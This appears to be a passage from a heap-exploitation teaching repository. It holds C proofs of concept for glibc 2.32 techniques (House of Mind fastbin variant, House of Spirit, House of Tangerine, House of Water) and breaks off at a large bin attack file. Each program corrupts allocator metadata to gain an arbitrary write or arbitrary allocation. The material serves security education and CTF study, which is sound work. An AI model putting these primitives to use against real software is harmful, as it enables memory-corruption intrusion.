behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.34 (x86_64, x86 & aarch64) & 2.39 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  // use a heap leak to bypass safe linking (GLIBC >= 2.32)\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target ^ (vuln_tcache >> 12);\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.32/house_of_water.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/* \n * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a tcache\n * metadata control primitive.\n *\n * Modified House of Water: This technique no longer requires 4-bit bruteforce, even if you cannot increment integers.\n * There is no need to forge a size field inside the tcache structure, as the fake chunk is linked through a small bin.\n * An article explaining this newer variant and its differences from the original House of Water can be found at:\n * https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/House_Of_Water_Smallbin_Variant.md\n *\n * The technique starts by allocating the 'relative chunk' immediately after tcache metadata,\n * sharing the same ASLR-partially-controlled second nibble (which is 2) as the target fake chunk location.\n * \n * Then it crafts fake tcache entries in the 0x320 & 0x330 bins using two other controlled chunks matching the 'relative chunk' size,\n * then frees all three chunks into the unsorted bin while keeping the 'relative chunk' centered.\n * A large allocation sorts them into the same small bin linked list.\n * \n * UAF overwrites the LSB of the 'first chunk' fd and the 'end chunk' bk pointers with 0x00, redirecting both to the fake tcache chunk on the tcache.\n * Finally, it drains the tcache; the next allocation returns the 'first chunk' from the small bin and moves remaining chunks into tcache,\n * then the second allocation returns the 'end chunk', and the final allocation returns the fake chunk for `tcache_perthread_struct` control.\n *\n * Technique / house by @udp_ctf - Water Paddler / Blue Water \n * Small-bin variant modified by @4f3rg4n - CyberEGGs.\n */\n\n\n\nvoid dump_memory(void *addr, unsigned long count) {\n\tfor (unsigned int i = 0; i < count*16; i += 16) {\n\t\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx\\n\", (unsigned long)(addr+i), *(long *)(addr+i), *(long *)(addr+i+0x8));\n\t}\t\n}\n\nint main(void) {\n\t// Dummy variable\n\tvoid *_ = NULL;\n\n\t// Prevent _IO_FILE from buffering in the heap\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\tsetbuf(stderr, NULL);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 1           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 1: Create the unsorted bins linked list, used for hijacking at a later time\n\n\tputs(\"Now, allocate three 0x90 chunks with guard chunks in between. This prevents\");\n\tputs(\"chunk-consolidation and sets our target for the house of water attack.\");\n\tputs(\"\\t- chunks:\");\n\n\tvoid *relative_chunk = malloc(0x88);\n\tprintf(\"\\t\\t* relative_chunk\\t@ %p\\n\", relative_chunk);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_start = malloc(0x88);\n\tprintf(\"\\t\\t* small_start\\t@ %p\\n\", small_start);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\n\tvoid *small_end = malloc(0x88);\n\tprintf(\"\\t\\t* small_end\\t@ %p\\n\", small_end);\n\t_ = malloc(0x18); // Guard chunk\n\t\n\tputs(\"\\t\\t* /guard/\");\n\t\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 2           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 2: Fill up t-cache for 0x90 size class\n\t\n\t// This is just to make a pointer to the t-cache metadata for later.\n\tvoid *metadata = (void *)((long)(relative_chunk) & ~(0xfff));\n\n\t// Make allocations to free such that we can exhaust the 0x90 t-cache\n\tputs(\"Allocate 7 0x88 chunks needed to fill out the 0x90 t-cache at a later time\");\n\tvoid *x[7];\n\tfor (int i = 0; i < 7; i++) {\n\t\tx[i] = malloc(0x88);\n\t}\n\n\tputs(\"\");\n\n\t// Free t-cache entries\n\tputs(\"Fill up the 0x90 t-cache with the chunks allocated from earlier by free'ing them.\");\n\tputs(\"By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted-bin\");\n\tputs(\"instead of the t-cache or small-bins.\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tfree(x[i]);\n\t}\n\n\t\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 3           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 3: Create a 0x320 and a 0x330 t-cache entry which overlaps small_start and small_end.\n\t// By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!\n\t\t\n\tputs(\"Here comes the trickiest part!\\n\");\n\t\n\tputs(\"We essentially want a pointer in the 0x320 t-cache metadata to act as a FWD\\n\");\n\tputs(\"pointer and a pointer in the 0x330 t-cache to act as a BCK pointer.\");\n\tputs(\"We want it such that it points to the chunk header of our small bin entries,\\n\");\n\tputs(\"and not at the chunk itself which is common for t-cache.\\n\");\n\n\tputs(\"Using a technique like house of botcake or a stronger arb-free primitive, free a\");\n\tputs(\"chunk such that it overlaps with the header of unsorted_start and unsorted_end.\");\n\tputs(\"\");\n\n\tputs(\"It should look like the following:\");\n\tputs(\"\");\n\t\n\tputs(\"small_start:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x330][0/1], unsortedbin[all][0]\\n\", (unsigned long)(small_start-0x10), *(long *)(small_start-0x10), *(long *)(small_start-0x8));\n\tdump_memory(small_start, 2);\n\tputs(\"\");\n\n\tputs(\"small_end:\");\n\tprintf(\"0x%016lx\\t\\t0x%016lx  0x%016lx  <-- tcachebins[0x320][0/1], unsortedbin[all][2]\\n\", (unsigned long)(small_end-0x10), *(long *)(small_end-0x10), *(long *)(small_end-0x8));\n\tdump_memory(small_end, 2);\n\n\tputs(\"\\n\");\n\tputs(\"If you want to see a blind example using only double free, see the following chal: \");\n\tputs(\"https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki\");\n\tputs(\"\");\n\tputs(\"Note: See this if you want to see the same example but with the modified House of Water version: \");\n\tputs(\"https://github.com/4f3rg4n/CTF-Events-Writeups/blob/main/Potluck-CTF-2023/Tamagoyaki.md\");\n\tputs(\"\\n\");\n\n\tputs(\"For the sake of simplicity, let's just simulate an arbitrary free primitive.\");\n\tputs(\"\\n\");\n\t\n\t\n\tputs(\"--------------------\");\n\tputs(\"|      PART 1      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 1:\n\tputs(\"Write 0x331 above small_start to enable its free'ing into the 0x330 t-cache.\");\n\tprintf(\"\\t*%p-0x18 = 0x331\\n\", small_start);\n\t*(long*)(small_start-0x18) = 0x331;\n\tputs(\"\");\n\n\tputs(\"This creates a 0x331 entry just above small_start, which looks like the following:\");\n\tdump_memory(small_start-0x20, 3);\n\tputs(\"\");\n\n\tprintf(\"Free the faked 0x331 chunk @ %p\\n\", small_start-0x10);\n\tfree(small_start-0x10); // Create a fake FWD\n\tputs(\"\");\n\t\n\tputs(\"Finally, because of the meta-data created by free'ing the 0x331 chunk, we need to\");\n\tputs(\"restore the original header of the small_start chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_start);\n\t*(long*)(small_start-0x8) = 0x91;\n\tputs(\"\");\n\n\tputs(\"Now, let's do the same for small_end except using a 0x321 faked chunk.\");\n\tputs(\"\");\n\n\n\tputs(\"--------------------\");\n\tputs(\"|      PART 2      |\");\n\tputs(\"--------------------\");\n\tputs(\"\\n\");\n\n\t// Step 3 part 2:\n\tputs(\"Write 0x321 above small_end, such that it can be free'd into the 0x320 t-cache:\");\n\tprintf(\"\\t*%p-0x18 = 0x321\\n\", small_end);\n\t*(long*)(small_end-0x18) = 0x321;\n\tputs(\"\");\n\t\n\tputs(\"This creates a 0x321 just above small_end, which looks like the following:\");\n\tdump_memory(small_end-0x20, 3);\n\tputs(\"\");\n\t\n\tprintf(\"Free the faked 0x321 chunk @ %p\\n\", small_end-0x10);\n\tfree(small_end-0x10); // Create a fake BCK\n\tputs(\"\");\n\t\n\tputs(\"restore the original header of the small_end chunk by restoring the 0x91 header:\");\n\tprintf(\"\\t*%p-0x8 = 0x91\\n\", small_end);\n\t*(long*)(small_end-0x8) = 0x91;\n\tputs(\"\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 4           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 4: Create the small bin list by freeing small_start, relative_chunk, small_end into the unsorted bin,\n\t// then allocate large chunk that will sort the unsorted bin into small bins.\n\n\tputs(\"Now, let's free the the chunks into the unsorted bin.\");\n\t\n\tputs(\"\\t> free(small_end);\");\n\tfree(small_end);\n\t\n\tputs(\"\\t> free(relative_chunk);\");\n\tfree(relative_chunk);\n\t\n\tputs(\"\\t> free(small_start);\");\n\tfree(small_start);\n\t\n\tputs(\"\\n\");\n\n\tputs(\"Now allocate a large chunk to trigger the sorting of the unsorted bin entries into the small bin.\");\n\t_ = malloc(0x700);\n\n\tputs(\"\");\n\n\t// Show the setup as is\t\n\t\n\tputs(\"At this point, our heap looks something like this:\");\n\t\n\tprintf(\"\\t- Small bin:\\n\");\n\tputs(\"\\t\\tsmall_start <--> relative_chunk <--> small_end\");\n\tprintf(\"\\t\\t%p <--> %p <--> %p\\n\", small_start-0x10, relative_chunk-0x10, small_end-0x10);\n\t\n\tprintf(\"\\t- 0x320 t-cache:\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x390));\n\tprintf(\"\\t- 0x330 t-cache\\n\");\n\tprintf(\"\\t\\t* 0x%lx\\n\", *(long*)(metadata+0x398));\n\tputs(\"\");\n\n\tputs(\"The fake chunk in the t-cache will look like the following:\");\n\tdump_memory(metadata+0x370, 4);\n\tputs(\"\");\n\n\tputs(\"We can now observe that the 0x330 t-cache points to small_start and 0x320 t-cache points to \");\n\tputs(\"small_end, which is what we need to fake a small-bin entry and hijack relative_chunk.\");\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 5           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 5: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk\n\tputs(\"Finally, all there is left to do is simply overwrite the LSB of small_start FWD-\");\n\tputs(\"and BCK pointer for small_end to point to the faked t-cache metadata chunk.\");\n\tputs(\"\");\n\n\t// Note: we simply overwrite the LSBs of small_start and small_end with a single NULL byte instead of 0x90;\n\t// As a result, they point to our fake chunk in the tcache, which shares the same second-byte ASLR nibble (0x2) as the relative_chunk.\n\n\t/* VULNERABILITY */\n\tprintf(\"\\t- small_start:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_start, metadata+0x200);\n\t*(unsigned long *)small_start = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\n\tprintf(\"\\t- small_end:\\n\");\n\tprintf(\"\\t\\t*%p = %p\\n\", small_end, metadata+0x200);\n\t*(unsigned long *)(small_end+0x8) = (unsigned long)(metadata+0x200);\n\tputs(\"\");\n\t/* VULNERABILITY */\n\n\tputs(\"At this point, the small bin will look like the following:\");\n\tputs(\"\");\n\n\tputs(\"\\t- small bin:\");\n\tprintf(\"\\t\\t small_start <--> metadata chunk <--> small_end\\n\");\n\tprintf(\"\\t\\t %p\\t     %p      %p\\n\", small_start, metadata+0x200, small_end);\n\n\n\tputs(\"\\n\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\t|           STEP 6           |\");\n\tputs(\"\\t==============================\");\n\tputs(\"\\n\");\n\n\t// Step 6: allocate to win\n\tputs(\"Now, simply just allocate our fake chunk which is placed inside the small bin\");\n\tputs(\"But first, we need to clean the t-cache for 0x90 size class to force malloc to\");\n\tputs(\"service the allocation from the small bin.\");\n\n\tfor(int i = 7; i > 0; i--)\n\t\t_ = malloc(0x88);\n\n\t// Allocating small_start, and small_end again to remove them from the 0x90 t-cache bin\n\t_ = malloc(0x88);\n\t_ = malloc(0x88);\n\n\n\t// Next allocation *could* be our faked chunk!\n\tvoid *meta_chunk = malloc(0x88);\n\n\tprintf(\"\\t\\tNew chunk\\t @ %p\\n\", meta_chunk);\n\tprintf(\"\\t\\tt-cache metadata @ %p\\n\", metadata);\n\tassert(meta_chunk == (metadata+0x210));\n\n\tputs(\"\");\n}\n"
  },
  {
    "path": "glibc_2.32/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin 